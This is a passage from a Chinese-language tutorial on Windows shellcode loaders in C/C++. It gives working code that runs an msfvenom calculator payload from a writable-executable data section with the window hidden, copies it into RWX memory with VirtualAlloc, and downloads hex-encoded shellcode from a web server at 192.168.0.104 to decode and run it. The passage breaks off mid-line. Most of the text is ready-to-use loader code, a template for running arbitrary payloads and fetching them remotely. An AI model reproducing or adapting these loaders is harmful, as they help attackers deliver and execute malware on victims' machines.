shellcode加载器--从入门到放弃

重剑无锋–代码篇复现

1.C/C++(vs2019)

(1).指针执行

shellcode放在data段

#include <windows.h>
#include <stdio.h>

//data段可读写
//linker指定一个连接选项/section:.data设置数据段可读可写可执行(rwe)
//数据段 ：数据段（data segment）通常是指用来存放程序中已初始化的全局变量/静态变量的一块内存区域。数据段属于静态内存分配。
//因为buf是一个全局静态变量，因此存放在data段,不知道是不是vs的安全原因要赋予其可读可写可执行（默认data好像缺少权限执行，我没有安装gdb，没法用gdb调试查看data段的权限）。
#pragma comment(linker, "/section:.data,RWE")
//不显示窗口
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker, "/INCREMENTAL:NO") 

//使用msf生成的弹计算器的shellcode
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

int main()

{
   
    ((void(*)()) &buf)();//将buf的首地址强转为函数指针并调用,而buf的首地址内容为shellcode
    
}

shellcode放在栈上，复制到堆上

int main()

{
   
    unsigned char buf[] =
        "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
        "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
        "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
        "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
        "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
        "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
        "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
        "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
        "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
        "\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
        "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
        "\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
        "\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
    LPVOID Memory = VirtualAlloc(NULL, sizeof buf, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    //MEM_RESERVE让系统分配一块虚拟内存的地址，不让其他函数使用，保留指定地址空间，不分配物理内存。
    //MEM_COMMIT为指定地址空间提交物理内存。
    //只使用MEM_COMMIT也可以运行。
    //MEM_COMMIT标志将在页面大小边界上提交页面,而使用MEM_RESERVE或MEM_RESERVE | MEM_COMMIT将在大于页面大小的边界上保留或保留提交页面。
    /*LPVOID VirtualAlloc{
                        LPVOID lpAddress, // 要分配的内存区域的地址,NULL由系统决定
                        DWORD dwSize, // 分配的大小
                        DWORD flAllocationType, // 分配的类型
                        DWORD flProtect // 该内存的初始保护属性
    };*/
    //PAGE_EXECUTE_READWRITE 可读可写可执行
    memcpy(Memory,buf, sizeof buf);
    ((void(*)()) Memory)();//将buf的首地址强转为函数指针并调用,而buf的首地址内容为shellcode
    
}

shellcode放在web服务器上

#include <stdio.h>
#include <Windows.h>
#include <WinInet.h>
#include <iostream>
#pragma comment(lib, "WinInet.lib")
/*#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker, "/INCREMENTAL:NO")*/

char* GetUrlPage(const wchar_t* URL, const wchar_t* SubPath)
{
   
	HINTERNET hInternet, hConnect, hRequest = NULL;
	DWORD dwOpenRequestFlags, dwRet = 0;
	unsigned char* pResponseHeaderIInfo = NULL;
	DWORD dwResponseHeaderIInfoSize = 2048;
	BYTE* pBuf = NULL;
	DWORD dwBufSize = 64 * 2048;
	hInternet = ::InternetOpen(L"WinInetGet/0.1", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	hConnect = ::InternetConnect(hInternet,URL, INTERNET_DEFAULT_HTTP_PORT, 0, 0, INTERNET_SERVICE_HTTP, 0, 0);
	if (NULL == hConnect)
		return NULL;

	dwOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_KEEP_CONNECTION |
		INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD;

	hRequest = HttpOpenRequest(hConnect,L"GET", SubPath, NULL, NULL, NULL, dwOpenRequestFlags, 0);
	HttpSendRequest(hRequest, NULL, 0, NULL, 0);

	pResponseHeaderIInfo = new unsigned char[dwResponseHeaderIInfoSize];
	RtlZeroMemory(pResponseHeaderIInfo, dwResponseHeaderIInfoSize);
	HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, pResponseHeaderIInfo, &dwResponseHeaderIInfoSize, NULL);
	pBuf = new BYTE[dwBufSize];

	RtlZeroMemory(pBuf, dwBufSize);
	InternetReadFile(hRequest, pBuf, dwBufSize, &dwRet);
	return (char*)pBuf;
}

int main(int argc, char* argv[])
{
   
	char* shellcode = GetUrlPage(L"192.168.0.104",L"/2");
	printf("%s \n", shellcode);
	int shellcode_length = strlen(shellcode);
	unsigned char* value = (unsigned char*)calloc(shellcode_length/2, sizeof(unsigned char));
	for (size_t count = 0; count < shellcode_length / 2; count++) {
   
		sscanf(shellcode, "%2hhx", &value[count]);
		shellcode += 2;
	}
	for (size_t count = 0; count < shellcode_length / 2; count++) {
   
		printf("%2hhx", value[count]